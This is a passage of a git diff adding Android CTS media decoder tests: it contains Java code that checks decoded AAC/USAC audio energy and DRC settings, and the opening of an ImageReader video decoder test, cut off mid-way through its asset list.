+    private float[] checkEnergyUSAC(short[] decSamples, AudioParameter decParams,
+                                    int encNch, int drcContext,  int drcApplied)
+            throws RuntimeException
+    {
+        String localTag = TAG + "#checkEnergyUSAC";
+
+        // the number of segments per block
+        final int nSegPerBlk = 4;
+        // the number of input channels
+        final int nCh = encNch;
+        // length of one (LB/HB) block [samples]
+        final int nBlkSmp = decParams.getSamplingRate();
+        // length of one segment [samples]
+        final int nSegSmp = nBlkSmp / nSegPerBlk;
+        // actual # samples per channel (total)
+        final int smplPerChan = decSamples.length / nCh;
+        // actual # samples per segment (all ch)
+        final int nSegSmpTot = nSegSmp * nCh;
+        // signal offset between chans [segments]
+        final int nSegChOffst = 2 * nSegPerBlk;
+        // // the number of channels to be analyzed
+        final int procNch = Math.min(nCh, encNch);
+        // all original configs with more than five channel have an LFE
+        final int encEffNch = (encNch > 5) ? encNch-1 : encNch;
+        // expected number of decoded audio samples
+        final int expSmplPerChan = Math.max(encEffNch, 2) * nSegChOffst * nSegSmp;
+        // flag telling that input is dmx signal
+        final boolean isDmx = nCh < encNch;
+        final float nrgRatioThresh = 0.0f;
+        // the num analyzed channels with signal
+        int effProcNch = procNch;
+
+        // get the signal offset by counting zero samples at the very beginning (over all channels)
+        // sample value threshold 4 signal search
+        final int zeroSigThresh = 1;
+        // receives the number of samples that are in front of the actual signal
+        int signalStart = smplPerChan;
+        // receives the number of null samples (per chan) at the very beginning
+        int noiseStart = signalStart;
+
+        for (int smpl = 0; smpl < decSamples.length; smpl++) {
+            int value = Math.abs(decSamples[smpl]);
+
+            if (value > 0 && noiseStart == signalStart) {
+                // store start of prepended noise (can be same as signalStart)
+                noiseStart = smpl / nCh;
+            }
+
+            if (value > zeroSigThresh) {
+                // store signal start offset [samples]
+                signalStart = smpl / nCh;
+                break;
+            }
+        }
+
+        signalStart = (signalStart > noiseStart+1) ? signalStart : noiseStart;
+
+        // check if the decoder reproduced a waveform or kept silent
+        assertTrue ("no signal found in any channel!", signalStart < smplPerChan);
+
+        // max num seg that fit into signal
+        final int totSeg = (smplPerChan - signalStart) / nSegSmp;
+        // max num relevant samples (per channel)
+        final int totSmp = nSegSmp * totSeg;
+
+        // check if the number of reproduced segments in the audio file is valid
+        assertTrue("no segments left to test after signal search", totSeg > 0);
+
+        // get the energies and the channel offsets by searching for the first segment above the
+        // energy threshold:
+        // ratio of zeroNrgThresh to the max nrg
+        final double zeroMaxNrgRatio = 0.001f;
+        // threshold to classify segment energies
+        double zeroNrgThresh = nSegSmp * nSegSmp;
+        // will store the max seg nrg over all ch
+        double totMaxNrg = 0.0f;
+        // array receiving the segment energies
+        double[][] nrg = new double[procNch][totSeg];
+        // array for channel offsets
+        int[] offset = new int[procNch];
+        // array receiving the segment energy status over all channels
+        boolean[] sigSeg = new boolean[totSeg];
+        // energy per channel
+        double[] nrgPerChannel = new double[procNch];
+        // return value: [0]: total energy of all channels
+        //               [1 ... procNch + 1]: energy of the individual channels
+        float[] nrgTotal = new float[procNch + 1];
+        // mapping array to sort channels
+        int[] chMap = new int[nCh];
+
+        // calculate the segmental energy for each channel
+        for (int ch = 0; ch < procNch; ch++) {
+            offset[ch] = -1;
+
+            for (int seg = 0; seg < totSeg; seg++) {
+                final int smpStart = (signalStart * nCh) + (seg * nSegSmpTot) + ch;
+                final int smpStop = smpStart + nSegSmpTot;
+
+                for (int smpl = smpStart; smpl < smpStop; smpl += nCh) {
+                    // accumulate total energy per channel
+                    nrgPerChannel[ch] += decSamples[smpl] * decSamples[smpl];
+                    // accumulate segment energy
+                    nrg[ch][seg] += nrgPerChannel[ch];
+                }
+
+                // store 1st segment (index) per channel which has energy above the threshold to get
+                // the ch offsets
+                if (nrg[ch][seg] > zeroNrgThresh && offset[ch] < 0) {
+                    offset[ch] = seg / nSegChOffst;
+                }
+
+                // store the max segment nrg over all ch
+                if (nrg[ch][seg] > totMaxNrg) {
+                    totMaxNrg = nrg[ch][seg];
+                }
+
+                // store whether the channel has energy in this segment
+                sigSeg[seg] |= nrg[ch][seg] > zeroNrgThresh;
+            }
+
+            // if one channel has no signal it is most probably the LFE the LFE is no
+            // effective channel
+            if (offset[ch] < 0) {
+                effProcNch -= 1;
+                offset[ch] = effProcNch;
+            }
+
+            // recalculate the zero signal threshold based on the 1st channels max energy for
+            // all subsequent checks
+            if (ch == 0) {
+                zeroNrgThresh = zeroMaxNrgRatio * totMaxNrg;
+            }
+        }
+
+        // check if the LFE is decoded properly
+        assertTrue("more than one LFE detected", effProcNch >= procNch - 1);
+
+        // check if the amount of samples is valid
+        assertTrue(String.format("less samples decoded than expected: %d < %d",
+                                 decSamples.length - (signalStart * nCh),
+                                 totSmp * effProcNch),
+                                 decSamples.length - (signalStart * nCh) >= totSmp * effProcNch);
+
+        // for multi-channel signals the only valid front channel orders
+        // are L, R, C or C, L, R (L=left, R=right, C=center)
+        if (procNch >= 5) {
+            final int[] frontChMap1 = {2, 0, 1};
+            final int[] frontChMap2 = {0, 1, 2};
+
+            // check if the channel mapping is valid
+            if (!(Arrays.equals(Arrays.copyOfRange(offset, 0, 3), frontChMap1)
+                    || Arrays.equals(Arrays.copyOfRange(offset, 0, 3), frontChMap2))) {
+                fail("wrong front channel mapping");
+            }
+        }
+
+        // create mapping table to address channels from front to back the LFE must be last
+        if (drcContext == 0) {
+            // check whether every channel occurs exactly once
+            for (int ch = 0; ch < effProcNch; ch++) {
+                int occurred = 0;
+
+                for (int idx = 0; idx < procNch; idx++) {
+                    if (offset[idx] == ch) {
+                        occurred += 1;
+                        chMap[ch] = idx;
+                    }
+                }
+
+                // check if one channel is mapped more than one time
+                assertTrue(String.format("channel %d occurs %d times in the mapping", ch, occurred),
+                        occurred == 1);
+            }
+        } else {
+            for (int ch = 0; ch < procNch; ch++) {
+                chMap[ch] = ch;
+            }
+        }
+
+        // reference min energy for the 1st ch; others will be compared against 1st
+        double refMinNrg = zeroNrgThresh;
+
+        // calculate total energy, min and max energy
+        for (int ch = 0; ch < procNch; ch++) {
+            // resolve channel mapping
+            int idx = chMap[ch];
+            // signal offset [segments]
+            final int ofst = offset[idx] * nSegChOffst;
+
+            if (ch <= effProcNch && ofst < totSeg) {
+                // the last segment that has energy
+                int nrgSegEnd;
+                // the number of segments with energy
+                int nrgSeg;
+
+                if (drcContext == 0) {
+
+                    // the first channel of a mono or stereo signal has full signal all others have
+                    // one LB + one HB block
+                    if ((encNch <= 2) && (ch == 0)) {
+                        nrgSeg = totSeg;
+                    } else {
+                        nrgSeg = Math.min(totSeg, (2 * nSegPerBlk) + ofst) - ofst;
+                    }
+                } else {
+                    nrgSeg = totSeg;
+                }
+
+                nrgSegEnd = ofst + nrgSeg;
+
+                // find min and max energy of all segments that should have signal
+                double minNrg = nrg[idx][ofst]; // channels minimum segment energy
+                double maxNrg = nrg[idx][ofst]; // channels maximum segment energy
+
+                // values of 1st segment already assigned
+                for (int seg = ofst + 1; seg < nrgSegEnd; seg++) {
+                    if (nrg[idx][seg] < minNrg) {
+                        minNrg = nrg[idx][seg];
+                    }
+
+                    if (nrg[idx][seg] > maxNrg) {
+                        maxNrg = nrg[idx][seg];
+                    }
+                }
+
+                // check if the energy of this channel is > 0
+                assertTrue(String.format("max energy of channel %d is zero", ch),maxNrg > 0.0f);
+
+                if (drcContext == 0) {
+                    // check the channels minimum energy >= refMinNrg
+                    assertTrue(String.format("channel %d has not enough energy", ch),
+                            minNrg >= refMinNrg);
+
+                    if (ch == 0) {
+                        // use 85% of 1st channels min energy as reference the other chs must meet
+                        refMinNrg = minNrg * 0.85f;
+                    } else if (isDmx && (ch == 1)) {
+                        // in case of downmixed signal the energy can be lower depending on the
+                        refMinNrg *= 0.50f;
+                    }
+
+                    // calculate and check the energy ratio
+                    final double nrgRatio = minNrg / maxNrg;
+
+                    // check if the threshold is exceeded
+                    assertTrue(String.format("energy ratio of channel %d below threshold", ch),
+                            nrgRatio >= nrgRatioThresh);
+
+                    if (!isDmx) {
+                        if (nrgSegEnd < totSeg) {
+                            // consider that some noise can extend into the subsequent segment
+                            // allow this to be at max 20% of the channels minimum energy
+                            assertTrue(
+                                    String.format("min energy after noise above threshold (%.2f)",
+                                    nrg[idx][nrgSegEnd]),
+                                    nrg[idx][nrgSegEnd] < minNrg * 0.20f);
+                            nrgSegEnd += 1;
+                        }
+                    } else {
+                        // ignore all subsequent segments in case of a downmixed signal
+                        nrgSegEnd = totSeg;
+                    }
+
+                    // zero-out the verified energies to simplify the subsequent check
+                    for (int seg = ofst; seg < nrgSegEnd; seg++) {
+                        nrg[idx][seg] = 0.0f;
+                    }
+
+                    // check zero signal parts
+                    for (int seg = 0; seg < totSeg; seg++) {
+                        assertTrue(String.format("segment %d in channel %d has signal where should "
+                                + "be none (%.2f)", seg, ch, nrg[idx][seg]),
+                                nrg[idx][seg] < zeroNrgThresh);
+                    }
+                }
+            }
+
+            // test whether each segment has energy in at least one channel
+            for (int seg = 0; seg < totSeg; seg++) {
+                assertTrue(String.format("no channel has energy in segment %d", seg), sigSeg[seg]);
+            }
+
+            nrgTotal[0]     += (float)nrgPerChannel[ch];
+            nrgTotal[ch + 1] = (float)nrgPerChannel[ch];
+        }
+
+        float errorMargin = 0.0f;
+        if (drcApplied == 0) {
+            errorMargin = 0.25f;
+        } else if (drcApplied == 1) {
+            errorMargin = 0.40f;
+        }
+
+        float totSegEnergy = 0.0f;
+        float[] segEnergy = new float[totSeg];
+        for (int seg = totSeg - 1; seg >= 0; seg--) {
+            if (seg != 0) {
+                for (int ch = 0; ch < nCh; ch++) {
+                    segEnergy[seg] += nrg[ch][seg] - nrg[ch][seg - 1];
+                }
+                totSegEnergy += segEnergy[seg];
+            } else {
+                for (int ch = 0; ch < nCh; ch++) {
+                    segEnergy[seg] += nrg[ch][seg];
+                }
+            }
+        }
+        float avgSegEnergy = totSegEnergy / (totSeg - 1);
+        for (int seg = 1; seg < totSeg; seg++) {
+            float energyRatio = segEnergy[seg] / avgSegEnergy;
+            if ((energyRatio > (1.0f + errorMargin) ) || (energyRatio < (1.0f - errorMargin) )) {
+                fail("Energy drop out");
+            }
+        }
+
+        // return nrgTotal: [0]: accumulated energy of all channels, [1 ... ] channel energies
+        return nrgTotal;
+    }
+
+    /**
+     * Decodes a compressed bitstream in the ISOBMFF into the RAM of the device.
+     *
+     * The decoder decodes compressed audio data as stored in the ISO Base Media File Format
+     * (ISOBMFF) aka .mp4/.m4a. The decoder is not reproducing the waveform but stores the decoded
+     * samples in the RAM of the device under test.
+     *
+     * @param audioParams the decoder parameter configuration
+     * @param testinput the compressed audio stream
+     * @param eossample the End-Of-Stream indicator
+     * @param timestamps the time stamps to decode
+     * @param drcParams the MPEG-D DRC decoder parameter configuration
+     * @param decoderName if non null, the name of the decoder to use for the decoding, otherwise
+     *     the default decoder for the format will be used
+     * @param runtimeChange defines whether the decoder is configured at runtime or configured
+     *                      before starting to decode
+     * @param expectedOutputLoudness value to check if the correct output loudness is returned
+     *     by the decoder
+     * @param seek_enable defines whether there will be an initial seek
+     * @param seek_duration seeking duration in microseconds
+     * @param seek_mode seeking mode 
+     *
+     * @throws RuntimeException
+     */
+    public short[] decodeToMemory(AudioParameter audioParams, int testinput, int eossample,
+            List<Long> timestamps, DrcParams drcParams, String decoderName, boolean runtimeChange,
+            int expectedOutputLoudness,
+            boolean seek_enable, int seek_duration, int seek_mode) throws IOException {
+        // TODO: code is the same as in DecoderTest, differences are:
+        //          - addition of application of DRC parameters
+        //          - no need/use of resetMode, configMode
+        //       Split method so code can be shared
+
+        final String localTag = TAG + "#decodeToMemory";
+        short [] decoded = new short[0];
+        int decodedIdx = 0;
+
+        AssetFileDescriptor testFd = mResources.openRawResourceFd(testinput);
+
+        MediaExtractor extractor;
+        MediaCodec codec;
+        ByteBuffer[] codecInputBuffers;
+        ByteBuffer[] codecOutputBuffers;
+
+        extractor = new MediaExtractor();
+        extractor.setDataSource(testFd.getFileDescriptor(), testFd.getStartOffset(),
+                testFd.getLength());
+        testFd.close();
+
+        assertEquals("wrong number of tracks", 1, extractor.getTrackCount());
+        MediaFormat format = extractor.getTrackFormat(0);
+        String mime = format.getString(MediaFormat.KEY_MIME);
+        assertTrue("not an audio file", mime.startsWith("audio/"));
+
+        MediaFormat configFormat = format;
+        if (decoderName == null) {
+            codec = MediaCodec.createDecoderByType(mime);
+        } else {
+            codec = MediaCodec.createByCodecName(decoderName);
+        }
+
+        // set DRC parameters
+        if (drcParams != null) {
+            configFormat.setInteger(MediaFormat.KEY_AAC_DRC_HEAVY_COMPRESSION, drcParams.mHeavy);
+            if (!runtimeChange) {
+                configFormat.setInteger(MediaFormat.KEY_AAC_DRC_BOOST_FACTOR, drcParams.mBoost);
+                configFormat.setInteger(MediaFormat.KEY_AAC_DRC_ATTENUATION_FACTOR, drcParams.mCut);
+                if (drcParams.mDecoderTargetLevel != 0) {
+                    configFormat.setInteger(MediaFormat.KEY_AAC_DRC_TARGET_REFERENCE_LEVEL,
+                            drcParams.mDecoderTargetLevel);
+                }
+                if (drcParams.mEffectType != 0){
+                    configFormat.setInteger(MediaFormat.KEY_AAC_DRC_EFFECT_TYPE,
+                            drcParams.mEffectType);
+                }
+                if (drcParams.mAlbumMode != 0) {
+                    configFormat.setInteger(MediaFormat.KEY_AAC_DRC_ALBUM_MODE,
+                            drcParams.mAlbumMode);
+                }
+            }
+        }
+
+        Log.v(localTag, "configuring with " + configFormat);
+        codec.configure(configFormat, null /* surface */, null /* crypto */, 0 /* flags */);
+
+        if (drcParams != null && sIsAndroidRAndAbove) { // querying output format requires R
+            if(!runtimeChange) {
+                if (drcParams.mAlbumMode != 0) {
+                    int albumModeFromCodec = DecoderTest.getOutputFormatInteger(codec,
+                            MediaFormat.KEY_AAC_DRC_ALBUM_MODE);
+                    if (albumModeFromCodec != drcParams.mAlbumMode) {
+                        fail("Drc AlbumMode received from MediaCodec is not the Album Mode set");
+                    }
+                }
+                if (drcParams.mEffectType != 0) {
+                    final int effectTypeFromCodec = DecoderTest.getOutputFormatInteger(codec,
+                            MediaFormat.KEY_AAC_DRC_EFFECT_TYPE);
+                    if (effectTypeFromCodec != drcParams.mEffectType) {
+                        fail("Drc Effect Type received from MediaCodec is not the Effect Type set");
+                    }
+                }
+                if (drcParams.mDecoderTargetLevel != 0) {
+                    final int targetLevelFromCodec = DecoderTest.getOutputFormatInteger(codec,
+                            MediaFormat.KEY_AAC_DRC_TARGET_REFERENCE_LEVEL);
+                    if (targetLevelFromCodec != drcParams.mDecoderTargetLevel) {
+                        fail("Drc Target Reference Level received from MediaCodec is not the Target Reference Level set");
+                    }
+                }
+            }
+        }
+
+        codec.start();
+        codecInputBuffers = codec.getInputBuffers();
+        codecOutputBuffers = codec.getOutputBuffers();
+
+        if (drcParams != null) {
+            if (runtimeChange) {
+                Bundle b = new Bundle();
+                b.putInt(MediaFormat.KEY_AAC_DRC_BOOST_FACTOR, drcParams.mBoost);
+                b.putInt(MediaFormat.KEY_AAC_DRC_ATTENUATION_FACTOR, drcParams.mCut);
+                if (drcParams.mEffectType != 0) {
+                    b.putInt(MediaFormat.KEY_AAC_DRC_EFFECT_TYPE, drcParams.mEffectType);
+                }
+                if (drcParams.mDecoderTargetLevel != 0) {
+                    b.putInt(MediaFormat.KEY_AAC_DRC_TARGET_REFERENCE_LEVEL,
+                            drcParams.mDecoderTargetLevel);
+                }
+                if (drcParams.mAlbumMode != 0) {
+                    b.putInt(MediaFormat.KEY_AAC_DRC_ALBUM_MODE, drcParams.mAlbumMode);
+                }
+                codec.setParameters(b);
+            }
+        }
+
+        extractor.selectTrack(0);
+
+        // execute initial seeking if specified
+        if (seek_enable) {
+            codec.flush();
+            extractor.seekTo(seek_duration, seek_mode);
+        }
+
+        // start decoding
+        final long kTimeOutUs = 5000;
+        MediaCodec.BufferInfo info = new MediaCodec.BufferInfo();
+        boolean sawInputEOS = false;
+        boolean sawOutputEOS = false;
+        int noOutputCounter = 0;
+        int samplecounter = 0;
+
+        // main decoding loop
+        while (!sawOutputEOS && noOutputCounter < 50) {
+            noOutputCounter++;
+            if (!sawInputEOS) {
+                int inputBufIndex = codec.dequeueInputBuffer(kTimeOutUs);
+
+                if (inputBufIndex >= 0) {
+                    ByteBuffer dstBuf = codecInputBuffers[inputBufIndex];
+
+                    int sampleSize =
+                        extractor.readSampleData(dstBuf, 0 /* offset */);
+
+                    long presentationTimeUs = 0;
+
+                    if (sampleSize < 0 && eossample > 0) {
+                        fail("test is broken: never reached eos sample");
+                    }
+
+                    if (sampleSize < 0) {
+                        Log.d(TAG, "saw input EOS.");
+                        sawInputEOS = true;
+                        sampleSize = 0;
+                    } else {
+                        if (samplecounter == eossample) {
+                            sawInputEOS = true;
+                        }
+                        samplecounter++;
+                        presentationTimeUs = extractor.getSampleTime();
+                    }
+
+                    codec.queueInputBuffer(
+                            inputBufIndex,
+                            0 /* offset */,
+                            sampleSize,
+                            presentationTimeUs,
+                            sawInputEOS ? MediaCodec.BUFFER_FLAG_END_OF_STREAM : 0);
+
+                    if (!sawInputEOS) {
+                        extractor.advance();
+                    }
+                }
+            }
+
+            int res = codec.dequeueOutputBuffer(info, kTimeOutUs);
+
+            if (res >= 0) {
+                //Log.d(TAG, "got frame, size " + info.size + "/" + info.presentationTimeUs);
+
+                if (info.size > 0) {
+                    noOutputCounter = 0;
+                    if (timestamps != null) {
+                        timestamps.add(info.presentationTimeUs);
+                    }
+                }
+
+                int outputBufIndex = res;
+                ByteBuffer buf = codecOutputBuffers[outputBufIndex];
+
+                if (decodedIdx + (info.size / 2) >= decoded.length) {
+                    decoded = Arrays.copyOf(decoded, decodedIdx + (info.size / 2));
+                }
+
+                buf.position(info.offset);
+                for (int i = 0; i < info.size; i += 2) {
+                    decoded[decodedIdx++] = buf.getShort();
+                }
+
+                codec.releaseOutputBuffer(outputBufIndex, false /* render */);
+
+                if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
+                    Log.d(TAG, "saw output EOS.");
+                    sawOutputEOS = true;
+                }
+            } else if (res == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED) {
+                codecOutputBuffers = codec.getOutputBuffers();
+
+                Log.d(TAG, "output buffers have changed.");
+            } else if (res == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
+                MediaFormat oformat = codec.getOutputFormat();
+                audioParams.setNumChannels(oformat.getInteger(MediaFormat.KEY_CHANNEL_COUNT));
+                audioParams.setSamplingRate(oformat.getInteger(MediaFormat.KEY_SAMPLE_RATE));
+                Log.d(TAG, "output format has changed to " + oformat);
+            } else {
+                Log.d(TAG, "dequeueOutputBuffer returned " + res);
+            }
+        }
+
+        if (noOutputCounter >= 50) {
+            fail("decoder stopped outputting data");
+        }
+
+        // check if MediaCodec gives back correct drc parameters
+        if (drcParams != null && sIsAndroidRAndAbove) {
+            if (drcParams.mAlbumMode != 0) {
+                final int albumModeFromCodec = DecoderTest.getOutputFormatInteger(codec,
+                        MediaFormat.KEY_AAC_DRC_ALBUM_MODE);
+                assertEquals("DRC AlbumMode received from MediaCodec is not the Album Mode set"
+                        + " runtime:" + runtimeChange, drcParams.mAlbumMode, albumModeFromCodec);
+            }
+            if (drcParams.mEffectType != 0) {
+                final int effectTypeFromCodec = DecoderTest.getOutputFormatInteger(codec,
+                        MediaFormat.KEY_AAC_DRC_EFFECT_TYPE);
+                assertEquals("DRC Effect Type received from MediaCodec is not the Effect Type set"
+                        + " runtime:" + runtimeChange, drcParams.mEffectType, effectTypeFromCodec);
+            }
+            if (drcParams.mDecoderTargetLevel != 0) {
+                final int targetLevelFromCodec = DecoderTest.getOutputFormatInteger(codec,
+                        MediaFormat.KEY_AAC_DRC_TARGET_REFERENCE_LEVEL);
+                assertEquals("DRC Target Ref Level received from MediaCodec is not the level set"
+                        + " runtime:" + runtimeChange,
+                        drcParams.mDecoderTargetLevel, targetLevelFromCodec);
+            }
+
+            final int cutFromCodec = DecoderTest.getOutputFormatInteger(codec,
+                    MediaFormat.KEY_AAC_DRC_ATTENUATION_FACTOR);
+            assertEquals("Attenuation factor received from MediaCodec differs from set:",
+                    drcParams.mCut, cutFromCodec);
+            final int boostFromCodec = DecoderTest.getOutputFormatInteger(codec,
+                    MediaFormat.KEY_AAC_DRC_BOOST_FACTOR);
+            assertEquals("Boost factor received from MediaCodec differs from set:",
+                    drcParams.mBoost, boostFromCodec);
+        }
+
+        // expectedOutputLoudness == -2 indicates that output loudness is not tested
+        if (expectedOutputLoudness != -2 && sIsAndroidRAndAbove) {
+            final int outputLoudnessFromCodec = DecoderTest.getOutputFormatInteger(codec,
+                    MediaFormat.KEY_AAC_DRC_OUTPUT_LOUDNESS);
+            if (outputLoudnessFromCodec != expectedOutputLoudness) {
+                fail("Received decoder output loudness is not the expected value");
+            }
+        }
+
+        codec.stop();
+        codec.release();
+        return decoded;
+    }
+
+    private short[] decodeToMemory(AudioParameter audioParams, int testinput,
+            int eossample, List<Long> timestamps, DrcParams drcParams, String decoderName)
+            throws IOException
+    {
+        final short[] decoded = decodeToMemory(audioParams, testinput, eossample, timestamps,
+                drcParams, decoderName, false, -2, false, 0, 0);
+        return decoded;
+    }
+
+    private short[] decodeToMemory(AudioParameter audioParams, int testinput,
+            int eossample, List<Long> timestamps, DrcParams drcParams, String decoderName,
+            boolean runtimeChange)
+        throws IOException
+    {
+        final short[] decoded = decodeToMemory(audioParams, testinput, eossample, timestamps,
+                drcParams, decoderName, runtimeChange, -2, false, 0, 0);
+        return decoded;
+    }
+
+    private short[] decodeToMemory(AudioParameter audioParams, int testinput,
+        int eossample, List<Long> timestamps, DrcParams drcParams, String decoderName,
+        boolean runtimeChange, int expectedOutputLoudness)
+        throws IOException
+    {
+        short [] decoded = decodeToMemory(audioParams, testinput, eossample, timestamps, drcParams,
+                decoderName, runtimeChange, expectedOutputLoudness, false, 0, 0);
+        return decoded;
+    }
+}
+
diff --git a/tests/tests/media/decoder/src/android/media/decoder/cts/ImageReaderDecoderTest.java b/tests/tests/media/decoder/src/android/media/decoder/cts/ImageReaderDecoderTest.java
new file mode 100644
index 0000000..8c958e6
--- /dev/null
+++ b/tests/tests/media/decoder/src/android/media/decoder/cts/ImageReaderDecoderTest.java
@@ -0,0 +1,845 @@
+/*
+ * Copyright 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.decoder.cts;
+
+import static android.media.MediaCodecInfo.CodecCapabilities.COLOR_FormatYUV420Flexible;
+import static android.media.MediaCodecInfo.CodecCapabilities.COLOR_FormatYUVP010;
+
+import android.graphics.ImageFormat;
+import android.graphics.Rect;
+import android.media.Image;
+import android.media.Image.Plane;
+import android.media.ImageReader;
+import android.media.MediaCodec;
+import android.media.MediaCodecInfo;
+import android.media.MediaCodecInfo.CodecCapabilities;
+import android.media.MediaCodecInfo.VideoCapabilities;
+import android.media.MediaExtractor;
+import android.media.MediaFormat;
+import android.media.cts.CodecUtils;
+import android.media.cts.Preconditions;
+import android.media.cts.TestArgs;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.Presubmit;
+import android.platform.test.annotations.RequiresDevice;
+
+import android.util.Log;
+import android.util.Pair;
+import android.view.Surface;
+
+import androidx.test.filters.SmallTest;
+
+import com.android.compatibility.common.util.MediaUtils;
+
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.nio.ByteBuffer;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.List;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
+
+/**
+ * Basic test for ImageReader APIs.
+ * <p>
+ * It uses MediaCodec to decode a short video stream, send the video frames to
+ * the surface provided by ImageReader. Then compare if output buffers of the
+ * ImageReader matches the output buffers of the MediaCodec. The video format
+ * used here is AVC although the compression format doesn't matter for this
+ * test. For decoder test, hw and sw decoders are tested,
+ * </p>
+ */
+// TODO(b/210947256) Enable presubmit once this test works on Pixel 4
+//@Presubmit
+@SmallTest
+@RequiresDevice
+@AppModeFull(reason = "Instant apps cannot access the SD card")
+@RunWith(Parameterized.class)
+public class ImageReaderDecoderTest {
+    private static final String TAG = "ImageReaderDecoderTest";
+    private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
+    private static final boolean DEBUG = Log.isLoggable(TAG, Log.DEBUG);
+    private static final long DEFAULT_TIMEOUT_US = 10000;
+    private static final long WAIT_FOR_IMAGE_TIMEOUT_MS = 1000;
+    private static final String DEBUG_FILE_NAME_BASE = "/sdcard/";
+    private static final int NUM_FRAME_DECODED = 100;
+    // video decoders only support a single outstanding image with the consumer
+    private static final int MAX_NUM_IMAGES = 1;
+    private static final float COLOR_STDEV_ALLOWANCE = 5f;
+    private static final float COLOR_DELTA_ALLOWANCE = 5f;
+
+    private final static int MODE_IMAGEREADER = 0;
+    private final static int MODE_IMAGE       = 1;
+
+    private MediaCodec.BufferInfo mBufferInfo = new MediaCodec.BufferInfo();
+    private ImageReader mReader;
+    private Surface mReaderSurface;
+    private HandlerThread mHandlerThread;
+    private Handler mHandler;
+    private ImageListener mImageListener;
+
+    public String mMime;
+    public String mCodecName;
+    public MediaAsset mMediaAsset;
+    public int mMode;
+    public String mTestId;
+    MediaCodec mDecoder = null;
+    MediaExtractor mExtractor = null;
+
+    public ImageReaderDecoderTest(String mime, String codecName, MediaAsset asset, int mode,
+                                  String testId) {
+        mMime = mime;
+        mCodecName = codecName;
+        mMediaAsset = asset;
+        mMode = mode;
+        mTestId = testId;
+    }
+
+    @Parameterized.Parameters(name = "{index}({0}_{1}_{4})")
+    public static Collection<Object[]> input() {
+        final List<Object[]> argsList = new ArrayList<>();
+        for (MediaAssets assets : ASSETS) {
+            String mime = assets.getMime();
+            if (TestArgs.shouldSkipMediaType(mime)) {
+                continue;
+            }
+            String[] decoders = MediaUtils.getDecoderNamesForMime(mime);
+            for (String decoder: decoders) {
+                if (TestArgs.shouldSkipCodec(decoder)) {
+                    continue;
+                }
+                for (MediaAsset asset : assets.getAssets()) {
+                    String id = asset.getWidth() + "x" + asset.getHeight();
+                    id += "_" + asset.getBitDepth() + "bit";
+                    if (asset.getIsSwirl()) {
+                        id += "_swirl";
+                        argsList.add(new Object[]{mime, decoder, asset, MODE_IMAGE, id + "_image"});
+                    }
+                    argsList.add(new Object[]{mime, decoder, asset, MODE_IMAGEREADER,
+                            id + "_imagereader"});
+                }
+            }
+        }
+        return argsList;
+    }
+
+    @Before
+    public void setUp() throws Exception {
+        mHandlerThread = new HandlerThread(TAG);
+        mHandlerThread.start();
+        mHandler = new Handler(mHandlerThread.getLooper());
+        mImageListener = new ImageListener();
+
+        mDecoder = MediaCodec.createByCodecName(mCodecName);
+        mExtractor = new MediaExtractor();
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        closeImageReader();
+        mHandlerThread.quitSafely();
+        mHandler = null;
+        if (mExtractor != null) {
+            mExtractor.release();
+        }
+        if (mDecoder != null) {
+            mDecoder.release();
+        }
+    }
+
+    static class MediaAsset {
+        public MediaAsset(String resource, int width, int height, boolean isSwirl,
+                          int bitDepth) {
+            mResource = resource;
+            mWidth = width;
+            mHeight = height;
+            mIsSwirl = isSwirl;
+            mBitDepth = bitDepth;
+        }
+
+        public MediaAsset(String resource, int width, int height) {
+            this(resource, width, height, true, 8);
+        }
+
+        public MediaAsset(String resource, int width, int height, boolean isSwirl) {
+            this(resource, width, height, isSwirl, 8);
+        }
+
+        public MediaAsset(String resource, int width, int height, int bitDepth) {
+            this(resource, width, height, true, bitDepth);
+        }
+
+        public int getWidth() {
+            return mWidth;
+        }
+
+        public int getHeight() {
+            return mHeight;
+        }
+
+        public boolean getIsSwirl() {
+            return mIsSwirl;
+        }
+
+        public int getBitDepth() {
+            return mBitDepth;
+        }
+
+        public String getResource() {
+            return mResource;
+        }
+
+        private final String mResource;
+        private final int mWidth;
+        private final int mHeight;
+        private final boolean mIsSwirl;
+        private final int mBitDepth;
+    }
+
+    static class MediaAssets {
+        public MediaAssets(String mime, MediaAsset... assets) {
+            mMime = mime;
+            mAssets = assets;
+        }
+
+        public String getMime() {
+            return mMime;
+        }
+
+        public MediaAsset[] getAssets() {
+            return mAssets;
+        }
+
+        private final String mMime;
+        private final MediaAsset[] mAssets;
+    }
+
+    static final String mInpPrefix = WorkDir.getMediaDirString();
+
+    private static MediaAssets H263_ASSETS = new MediaAssets(
+            MediaFormat.MIMETYPE_VIDEO_H263,
+            new MediaAsset("swirl_176x144_h263.3gp", 176, 144),
+            new MediaAsset("swirl_352x288_h263.3gp", 352, 288),
+            new MediaAsset("swirl_128x96_h263.3gp", 128, 96));
+
+    private static MediaAssets MPEG4_ASSETS = new MediaAssets(
+            MediaFormat.MIMETYPE_VIDEO_MPEG4,
+            new MediaAsset("swirl_128x128_mpeg4.mp4", 128, 128),
+            new MediaAsset("swirl_144x136_mpeg4.mp4", 144, 136),
